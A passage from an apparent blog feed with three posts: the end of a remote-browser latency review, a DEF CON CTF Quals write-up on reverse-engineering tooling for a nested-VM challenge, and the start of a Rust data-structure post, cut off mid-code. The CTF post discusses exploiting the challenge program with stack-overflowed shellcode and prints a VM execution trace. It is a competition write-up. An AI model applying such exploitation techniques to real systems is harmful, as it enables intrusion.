&lt;p&gt;Probably the most common operation while browsing the web is scrolling. I reconfigured my latency tester to scroll up and down small amounts, and then went to &lt;a href=&quot;https://www.figma.com/&quot;&gt;figma.com&lt;/a&gt; and had it scroll with the light sensor across a colored section transition:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;119ms +/-  29.1 (n=94) |       _ 279921_      _   | Remotey 4k scroll H265
138ms +/-  12.9 (n=21) |           55997 1        | Remotey 4k scroll H265 50%
113ms +/-  11.5 (n=63) |         19551            | Remotey 4k scroll H264
146ms +/-  18.2 (n=60) |           234965 1       | Remotey 4k scroll H264 50%
 89ms +/-   6.5 (n=36) |      _9588_              | Chrome 4k smooth scroll
 49ms +/-   6.1 (n=52) |   _96                    | Chrome 4k non-smooth scroll
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There’s some interesting things to see here:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Scrolling is a bit higher latency than typing. This is unsurprising given the approach, since even though motion vector encoding lets it not re-encode the whole image, it doesn’t succeed at compressing the frames quite as much as with typing, and encoding/decoding may be more expensive.&lt;/li&gt;
  &lt;li&gt;If we zoom the page out to 50% page zoom, scrolling gets slower despite the equivalent pixel count, presumably because there’s more visual entropy on screen and so encoding/decoding gets more expensive and frames get larger. Here H256 encoding starts to win out presumably due to better compression.&lt;/li&gt;
  &lt;li&gt;With the default macOS settings Chrome smooths USB mouse wheel scrolling to accelerate gradually, so it takes longer for the light sensor to cross the color transition, whereas Remotey scrolls instantly. If I disable macOS smooth scrolling for Chrome, it becomes nearly as fast as typing.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Scrolling is an interesting case for the video compression approach to display streaming. A compression approach specialized to scrolling could look for tiles of pixels at exact vertical offsets and then only send the tiles which aren’t translated copies. I haven’t found a major remote desktop system that does this, despite the importance of scrolling, but I implemented a version using an efficient tile row hashing technique which can process a 4k screen in 2ms on one core in &lt;a href=&quot;https://github.com/neutrinolabs/xorgxrdp/pull/167&quot;&gt;an unmerged xrdp branch&lt;/a&gt;. This would dramatically cut encode/decode time and bandwidth for scrolling, and thus latency.&lt;/p&gt;

&lt;p&gt;However, video compression systems use a much more general compression approach using motion vectors that gets at least some of the same bandwidth benefits, while being more robust. While my algorithm is great on normal scrolling, a fancy Apple product or startup website scrolljacking animation would cause lots of tiles not to be covered by the scrolling optimization and reduce it’s effectiveness. Video compression would keep working great as long as the motion was smooth. Like damage regions, it’s unfortunately tricky to integrate scrolling optimization with video compression, although again the approach of a separate lower latency side channel stream to preempt the video may work.&lt;/p&gt;

&lt;h3 id=&quot;remoteys-potential-advantage-which-they-dont-use&quot;&gt;Remotey’s potential advantage, which they don’t use&lt;/h3&gt;

&lt;p&gt;Above I talked about how to optimize scrolling from the perspective of general display streaming, but Remotey’s specialization for Chrome gives them a potential huge advantage that they don’t currently use. Remotey could in theory integrate with the Chrome renderer to render contents outside the current browser viewport and preemptively send it to the client. This would allow small scrolls to be resolved instantly on the client without any networking or decoding, and the networking could catch up behind.&lt;/p&gt;

&lt;p&gt;There’s a number of difficulties in this related to things like fixed position page elements, but interestingly solutions to all these problems are already implemented inside Chrome (&lt;a href=&quot;https://firefox-source-docs.mozilla.org/gfx/AsyncPanZoom.html&quot;&gt;and other browsers&lt;/a&gt;). Browsers already use a variation of this technique to avoid rendering latency on scrolling by rasterizing tiles of the page as layers, which the browser’s compositor then re-composites as you scroll without having to hit the renderer. In fact these are sometimes implemented as separate processes in the browser communicating over an IPC channel, basically like a higher-bandwidth lower latency network!&lt;/p&gt;

&lt;p&gt;In principle Remotey could work by forwarding the browser at the layer level as opposed to the composited pixel level, and get minimal damage regions and scrolling optimization for free. The catch is that there’s some cases like YouTube videos and fancy animations that video compression would handle much better than remoting layers with static image compression would. This means if you don’t want to have unintuitive performance cliffs you need to combine some kind of difference-based video compression with the layer remoting, and that could get super complex, especially if you try to use video compression hardware. I see why they chose the approach they did, at least for now.&lt;/p&gt;

&lt;h2 id=&quot;gotchas-on-macos&quot;&gt;Gotchas on macOS&lt;/h2&gt;

&lt;p&gt;When undertaking any kind of unusual native app project, there’s a bunch of tiny gotchas you need to know about to avoid your app being slower or more power-hungry than it needs to be. Approximately nowhere tells you about avoiding these things, hence why I’m writing about them! Let’s look at some of the common macOS gotchas and whether Remotey gets them right:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;Does it force use of the discrete GPU?&lt;/em&gt; &lt;strong&gt;Yes.&lt;/strong&gt; This is the most common mistake for GPU rendered apps to make, and it causes dual-GPU systems like my 16” Macbook Pro to go from around 10W idle to 15W. Avoiding this requires &lt;a href=&quot;https://developer.apple.com/documentation/metal/gpu_selection_in_macos/selecting_device_objects_for_graphics_rendering&quot;&gt;some extra Metal API calls&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Does it constantly send 60fps compositor updates?&lt;/em&gt; &lt;strong&gt;No.&lt;/strong&gt; A lot of apps make this mistake but Remotey doesn’t. If you mess it up it causes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WindowServer&lt;/code&gt; to take an extra 10-20% CPU and extra power, not even attributable to the app without using &lt;a href=&quot;https://www.idownloadblog.com/2016/02/03/quartz-debug-framemeter/&quot;&gt;Quartz Debug&lt;/a&gt;. The harder one to avoid is not having any animations that can get stuck going even with the window in the background, I’ve at least once had a Remotey tab stuck loading in the background, which caused updates to fire constantly.&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Does it re-composite the entire window even for small changes?&lt;/em&gt; &lt;strong&gt;Yes.&lt;/strong&gt; This is purely a power optimization, but it’s possible to tell the compositor when only a small part of your window changed, so it needs to do less work. A tiny loading spinner animation causes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WindowServer&lt;/code&gt; to use an extra 10% of a core. The Core Animation APIs make it harder to avoid this on macOS than other platforms when using a custom renderer like Remotey, but Chrome uses a hack to manage it.&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Does it use a transparent window for opaque content?&lt;/em&gt; &lt;strong&gt;No.&lt;/strong&gt; Most macOS windows use a large opaque compositor layer with tiny transparent corners, but if you use the wrong API you can get one giant transparent layer, causing extra compositing work. Firefox had this problem for a long time, Remotey does not.&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Does live resize go blank?&lt;/em&gt; &lt;strong&gt;Yes.&lt;/strong&gt; Supporting smooth resizing can be tricky even for local GPU-rendered apps, Remotey has a much trickier distributed systems problem to solve, and it understandably goes blank when resizing.&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Does it break when moving the window to a display with a different scale factor?&lt;/em&gt; &lt;strong&gt;Kinda yes.&lt;/strong&gt; Remotey initially appears to handle this case smoothly, but when I did testing on my 4k display at 1x scaling I experienced huge 1-10s latency spikes when doing things like switching tabs and latency is generally higher. My guess is the remote Linux is still rendering at 2x scaling so has to deal with an enormous 8k resolution and has trouble or something.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;page-loading&quot;&gt;Page loading&lt;/h2&gt;

&lt;p&gt;In my testing Remotey was only slightly faster at loading pages than my home 500Mbps connection:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;https://www.apple.com/iphone-12/: ~3.4s Remotey vs ~ 3.8s Chrome&lt;/li&gt;
  &lt;li&gt;https://figma.com/: ~3.8s Remotey vs ~3.9s Chrome&lt;/li&gt;
  &lt;li&gt;https://thume.ca/2017/06/17/tree-diffing/: ~240ms Remotey vs ~240ms Chrome&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These were just done casually averaging a few tries using the Chrome network inspector with caching disabled, I don’t claim they’re super scientific. Just that I didn’t notice a significant difference between my good home internet and their datacenter connection for page loading.&lt;/p&gt;

&lt;h2 id=&quot;general-experience&quot;&gt;General experience&lt;/h2&gt;

&lt;p&gt;All of the above is interesting from a technical discussion standpoint, but in terms of Remotey as a product it focuses on measurable and interesting things rather than what’s important.&lt;/p&gt;

&lt;p&gt;In general I’d say the overall smoothness of Remotey and its display streaming is quite good compared to other remote display technologies I’ve used. Although I haven’t used Parsec or Teradici, which would be the two I would guess based on technology might be comparable or better. The scrolling at high resolutions especially is quite smooth. There’s also no noticeable video compression artifacts, even on scrolling text, which is an issue I’ve noticed sometimes when video compression is added on to a legacy remote desktop system. Even watching YouTube videos works great.&lt;/p&gt;

&lt;p&gt;Compared to my local Chrome though, Remotey isn’t for me. I have a fairly powerful laptop with 32GB of RAM, and don’t use any super heavy browser apps like &lt;a href=&quot;https://www.onshape.com/en/&quot;&gt;Onshape&lt;/a&gt;, so Remotey is basically a straight downgrade. It drops frames when scrolling noticeably more often, interactions are noticeably just a bit laggier, it uses a bit more battery and integrates a little less smoothly (e.g no live resize). Those aren’t huge downsides though, it’s just that I don’t experience any compensating upsides. If I was someone who regularly found my browser very laggy, due to having a much weaker computer or heavier browser apps, I could imagine using Remotey.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Remotey is an interesting case study of how the new style of display streaming using hardware video compression can provide nicer experiences than older technologies while making it hard to implement further optimizations. Other systems like VNC, Citrix and Microsoft RDP which use custom CPU image patch compression make it really easy to implement all sorts of specialized tricks, but struggle on modern high resolutions, and fall off a cliff on hard cases like games and YouTube videos unless they adaptively switch to video compression.&lt;/p&gt;

&lt;p&gt;I expect that higher bandwidth connections, new streaming technologies, and trends like increased working from home and potentially VR meeting rooms/offices, will make display streaming a field that remains interesting over the next few years. I find this area pretty interesting and hope to follow progress and maybe do some more tinkering. I would pitch myself as a consultant with this post as a work sample, but I have a full time job and my US visa status means I can’t earn income any other way, so instead you can feel free to email me and maybe I’ll be interested enough to chat about it.&lt;/p&gt;
&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;Drafts of this post mentioned who the startup was, but they reasonably asked that I not leave outdated measurements and statements about their constantly improving product tied to their name. Even if you guess who the startup is, they’ve likely substantially improved performance and implemented fixes since I did these measurements in September 2021. Ideally don’t speculate using their real name in comments. &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>Making reverse engineering tools for DEF CON Quals</title>
   <link href="https://thume.ca/2021/05/09/making-reverse-engineering-tools-for-def-con-quals/"/>
   <updated>2021-05-09T00:00:00+00:00</updated>
   <id>https://thume.ca/2021/05/09/making-reverse-engineering-tools-for-def-con-quals</id>
   <content type="html">
&lt;p&gt;Last weekend I played with Samurai in the &lt;a href=&quot;https://oooverflow.io/dc-ctf-2021-quals/&quot;&gt;DEF CON CTF Quals&lt;/a&gt; where I worked on &lt;a href=&quot;https://github.com/o-o-overflow/dc2021q-a-fallen-lap-ray&quot;&gt;a crazy problem&lt;/a&gt; which involved exploiting a program binary for a made-up architecture, which was running on a VM written for a weird made-up parallel machine architecture, running on another VM for that parallel machine which we only had outdated incorrect source code for.&lt;/p&gt;

&lt;p&gt;Because of this crazy nested weird VM setup, most of me and my teammates’ time was spent building some really cool tooling for these two architectures so that we could figure out the program, understand, the vulnerability and test our exploit.&lt;/p&gt;

&lt;h2 id=&quot;full-write-up-from-my-teammate&quot;&gt;Full write-up from my teammate&lt;/h2&gt;

&lt;p&gt;My teammate Zack did an &lt;a href=&quot;https://zackorndorff.com/2021/05/03/reversing-and-exploiting-a-program-running-in-an-undocumented-vm/&quot;&gt;excellent write-up&lt;/a&gt; of the problem and our tools, &lt;strong&gt;go read it.&lt;/strong&gt; He shows off the &lt;a href=&quot;https://binary.ninja/&quot;&gt;Binary Ninja&lt;/a&gt; disassembly plugin he wrote to make it easy to reverse-engineer the inner binary in an excellent UI. He also gives an overview of the work me and my other teammates did. It was really fun working with &lt;a href=&quot;https://zackorndorff.com/&quot;&gt;Zack&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/samczsun&quot;&gt;Sam&lt;/a&gt;, Emma, &lt;a href=&quot;https://twitter.com/brockrockman&quot;&gt;Brock&lt;/a&gt; and occasional others in Discord late into the night at various levels of exhaustion, often sharing screens and pair programming.&lt;/p&gt;

&lt;h2 id=&quot;reversing-the-manchester-vm-binary&quot;&gt;Reversing the Manchester VM binary&lt;/h2&gt;

&lt;p&gt;I first worked to help reverse-engineer the changes to the Manchester parallel machine interpreter that they had made since the previous year’s challenge using a similar machine that they had &lt;a href=&quot;https://github.com/o-o-overflow/dc2020f-parallel-af-public&quot;&gt;released code for&lt;/a&gt;. It made for some really fun reversing to have source code to reference but things had changed since and we needed to figure out what the changes did using only the binary.&lt;/p&gt;

&lt;p&gt;A cool feature that decompilers like Binary Ninja’s have is that you can give them type annotations and names that you figure out and it will use them to improve the decompilation. Whenever we figured something out, possibly annotated by a teammate using our comment syncing system, I’d update my type definitions to get a better decompilation. Here’s an example of some decompilation upon first opening the binary:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/dcquals21/binja-before.png&quot; alt=&quot;Before&quot; /&gt;&lt;/p&gt;

&lt;p&gt;And after creating an enum type with all the VM instruction codes we figured out, and annotating the result structure type and parameter names:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/dcquals21/binja-after.png&quot; alt=&quot;After&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Once we figured out the new opcode mappings and features of the VM my teammate Sam made the same changes to the old source code we had and verified that it could run the new Manchester programs we had. This helped check we got it right and also proved really useful for a later tool.&lt;/p&gt;

&lt;h2 id=&quot;fooling-around-with-the-binary-ninja-debugger&quot;&gt;Fooling around with the Binary Ninja Debugger&lt;/h2&gt;

&lt;p&gt;I spent some time afterwards fooling around with getting the &lt;a href=&quot;https://github.com/Vector35/debugger&quot;&gt;Binary Ninja debugger&lt;/a&gt; plugin to connect to the VM binary running in my Docker container and allow me to step through it over the GDB server protocol. This didn’t actually end up being that helpful, but I wanted to learn how to do it anyways because I find the idea of being able to debug a binary in a full reversing suite really cool. It took a lot of code reading since the way to do this using the plugin wasn’t documented.&lt;/p&gt;

&lt;h2 id=&quot;memory-trace-reconstruction-tool&quot;&gt;Memory trace reconstruction tool&lt;/h2&gt;

&lt;p&gt;Armed with Zack’s Binary Ninja plugin for the inner VM, we were ready to work on exploiting the inner program, but we were having trouble understanding what was going on. It was hard to get information about what happened in the inner VM and running experiments took a long time since the nested weird VMs meant startup took minutes each time.&lt;/p&gt;

&lt;p&gt;I set to work on a tool to gain more visibility into the system, and since I think about tracing tools a lot, I made a little tracing system. We had found some memory allocations that we figured stored state of the inner VM, so I modified Sam’s updated source to log every read and write to those memory regions so we could figure out what was going on.&lt;/p&gt;

&lt;p&gt;It was surprisingly easy. I stored some info on each event in a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uint64_t[4]&lt;/code&gt; array with the first field being an event ID and the following fields storing various useful info for each event. Then I cast it to a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;void*&lt;/code&gt; and wrote it to a file with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fwrite&lt;/code&gt;, which is buffered so I didn’t have to worry about overhead from tons of write syscalls. It turns out there weren’t that many writes though so we later added a flush after each event so we could get streaming updates as the computation progressed.&lt;/p&gt;

&lt;p&gt;Armed with this binary file in a very simple format, I opened in a hex editor, dragged the window until it was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4*8&lt;/code&gt; bytes wide so it was kind of like an event log, and scrolled through it. I managed to identify which allocated region was the memory of the inner VM and which was the registers, and what offset all the registers were at.&lt;/p&gt;

&lt;p&gt;So I wrote a little Python script which could read the trace and print out all the register values each time the program counter register changed, effectively giving us a window into the execution of the machine. Next I reconstructed all the VM memory contents from write events in the trace, which allowed dumping the memory contents at any instruction based on arbitrary conditions, or at the end of the execution.&lt;/p&gt;

&lt;p&gt;This ended up synergizing really well with Zack’s plugin when developing our exploit. We could load the final memory state (which contained the program code as well) in Binary Ninja and it would disassemble everything, and we could even disassemble the shellcode we overflowed onto the stack and see how it had been corrupted by later writes. Then we could go back through the execution trace file and figure out where our exploit had gone wrong.&lt;/p&gt;

&lt;p&gt;Zack even loaded the Binary Ninja API in the trace replay tool to add disassembly and symbol names of each executed instruction into the printed trace:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C1_epilogue_and_store+bc       02000200 PUSH    r2
   [pc=0x3c8 sp=0xf30 r1=0xaaa r2=0xef8 r4=0x67616c66 r8=0x2088000010101 flags=0x4]
log_name_read_len+2a9          01021800 MOV    r2, 0x18
   [pc=0xef8 sp=0xf30 r1=0xaaa r2=0xef8 r4=0x67616c66 r8=0x2088000010101 flags=0x4]
log_name_read_len+2ad          04022000 ADD    r2, pc
   [pc=0xefc sp=0xf30 r1=0xaaa r2=0x18 r4=0x67616c66 r8=0x2088000010101 flags=0x4]
log_name_read_len+2b1          01040400 MOV    r4, 0x4
   [pc=0xf00 sp=0xf30 r1=0xaaa r2=0xf18 r4=0x67616c66 r8=0x2088000010101 flags=0x4]
log_name_read_len+2b5          80010100 SVC    0x1, 0x1
   [pc=0xf04 sp=0xf30 r1=0xaaa r2=0xf18 r4=0x4 r8=0x2088000010101 flags=0x4]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;concluding-thoughts&quot;&gt;Concluding Thoughts&lt;/h2&gt;

&lt;p&gt;Even though I didn’t work on as many different problems as I usually do for DC Quals (partially due to having my vaccine appointment and getting bowled over by immune reaction half way through), I had fun making a bunch of completely overkill tooling for a really hard problem.&lt;/p&gt;

&lt;p&gt;Debugging using the execution trace was a really cool experience that made me yearn for more of that kind of &lt;a href=&quot;https://omniscientdebugger.github.io/&quot;&gt;omniscient debugging&lt;/a&gt; like &lt;a href=&quot;https://www.pernos.co/&quot;&gt;Pernosco&lt;/a&gt; in my normal programming work. It was great being able to do things like “oh no when did that memory get the bad value” and just using text editor search functionality to find the last &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MOV&lt;/code&gt; to that address “backwards in time”. The “text file of every executed instruction” doesn’t scale to larger programs, but programs like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rr&lt;/code&gt; and Pernosco do, and I want to use them more.&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>Implicit In-order Forests: Zooming a billion trace events at 60fps</title>
   <link href="https://thume.ca/2021/03/14/iforests/"/>
   <updated>2021-03-14T00:00:00+00:00</updated>
   <id>https://thume.ca/2021/03/14/iforests</id>
   <content type="html">
&lt;p&gt;In the course of trying to figure out how to smoothly zoom timelines of a billion trace events, I figured out a cool tree structure that I can’t find elsewhere online, which it turned out two of my friends have independently derived after not finding anything on their own searches. It’s a way of implementing an index for doing range aggregations on an array (e.g “find the sum/max of elements [7,12]”) in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O(log N)&lt;/code&gt; time, with amortized constant time appends, a simple implementation (&lt;a href=&quot;https://github.com/trishume/gigatrace/blob/master/src/iforest.rs&quot;&gt;around 50 lines of Rust&lt;/a&gt;), low constant factors, and low memory overhead.&lt;/p&gt;

&lt;p&gt;The structure is a variation on the idea of an &lt;a href=&quot;https://opendatastructures.org/ods-cpp/10_1_Implicit_Binary_Tree.html&quot;&gt;implicit binary tree&lt;/a&gt;, usually used for heaps, which let you represent a complete binary tree compactly in an array, with structure determined by layout of the array rather than pointers. Instead of arranging nodes breadth-first like usual, the structure I use has an in-order depth-first arrangement, and it uses a forest of power-of-two sized complete trees instead of one nearly-complete tree. These changes make the implementation of appends much simpler, improve cache efficiency, lower memory overhead, and if combined with a virtual-memory-based growable array provide &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O(log N)&lt;/code&gt; tail latency on appends instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O(N)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I used my implementation to make a prototype trace timeline that can smoothly zoom 1 billion events, which I don’t think any existing trace viewer can do while preserving similar detail, but the underlying structure can aggregate any associative operation (&lt;a href=&quot;https://en.wikipedia.org/wiki/Monoid&quot;&gt;monoid&lt;/a&gt;). While my high-level competitve programmer friends didn’t recognize the layout, my friend &lt;a href=&quot;https://raphlinus.github.io/&quot;&gt;Raph Levien&lt;/a&gt; remembered figuring out a similar thing for &lt;a href=&quot;https://android.googlesource.com/platform/frameworks/base/+/master/core/java/android/text/SpannableStringBuilder.java#1658&quot;&gt;Android’s SpannableStringBuilder&lt;/a&gt;, and my colleague &lt;a href=&quot;https://github.com/stedolan&quot;&gt;Stephen Dolan&lt;/a&gt; said he went on a similar journey of discovery while coming up with vectorization-friendly k-d trees.&lt;/p&gt;

&lt;h2 id=&quot;the-iforestindex-data-structure&quot;&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IForestIndex&lt;/code&gt; data structure&lt;/h2&gt;

&lt;p&gt;The general idea behind data structures to accelerate range queries is that pre-aggregating elements into chunks of varying sizes can save work at query-time. When we get the range we want to query, we pick the set of chunks that together make up the range and aggregate them together, as opposed to aggregating all the individual elements in the range. A binary &lt;a href=&quot;https://cp-algorithms.com/data_structures/segment_tree.html&quot;&gt;segment tree&lt;/a&gt; structure where the lowest level aggregates two elements, the next aggregates four elements and so on leads to a guarantee that any range can be covered with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;O(log N)&lt;/code&gt;  chunks.&lt;/p&gt;

&lt;p&gt;What I’ll describe is a specific way to lay out such an aggregation structure in an array, take a glance and I’ll explain the diagram’s details below:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/iforestindex/iforestindex.png&quot; alt=&quot;IForestIndex tree structure&quot; class=&quot;bigcenter&quot; style=&quot;max-width: 803px&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://www.geeksforgeeks.org/tree-traversals-inorder-preorder-and-postorder/&quot;&gt;in-order&lt;/a&gt; layout is a way to store an aggregation tree in an array where every even indexed element is a leaf and every odd indexed element aggregates to its left and right using some associative operation (the diagram uses sum). The aggregating nodes form a binary tree structure such that the first level aggregates two leaf nodes, the second level aggregates two level one aggregation nodes, etc…&lt;/p&gt;

&lt;p&gt;When our number of items isn’t a power of two, some of the aggregation nodes at higher levels won’t be able to aggregate as far to the right as they’re supposed to, because there isn’t a node there yet, so they’ll be incomplete (shown in grey in the diagram). This means it isn’t technically a tree structure, but a forest of power-of-two sized trees, making up the correct number of total items. When we append a new item, we first append the leaf node, then complete any incomplete trees that should include that node, and then add a new incomplete aggregation node of the right height after it.&lt;/p&gt;

&lt;p&gt;How do we decide which level a given node should aggregate and where the incomplete nodes it should complete are? It turns out that with this layout, the level of an aggregation node corresponds exactly to the number of trailing one bits in the binary representation of the index! This is great because modern processors have an efficient single instruction for “count trailing zeros”, and trailing ones just requires a bitwise not before that. It also turns out that the nodes we need to aggregate are powers of two away, and the number of aggregation nodes to complete corresponds to the level of the new aggregation node. This leads to a very simple implementation:&lt;/p&gt;

&lt;div class=&quot;language-rust highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;A&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Aggregate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IForestIndex&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;A&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;block&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TraceBlock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.vals&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.push&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;A&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;from_block&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;block&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;

      &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.vals&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;// We want to index the first level every 2 nodes, 2nd level every 4 nodes...&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;// This happens to correspond to the number of trailing ones in the index&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;levels_to_index&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.trailing_ones&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

      &lt;span class=&quot;c1&quot;&gt;// Complete unfinished aggregation nodes which are now ready&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cur&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// The leaf we just pushed&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;level&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;..&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;levels_to_index&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;prev_higher_level&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cur&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;level&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// nodes at a level reach 2^level&lt;/span&gt;
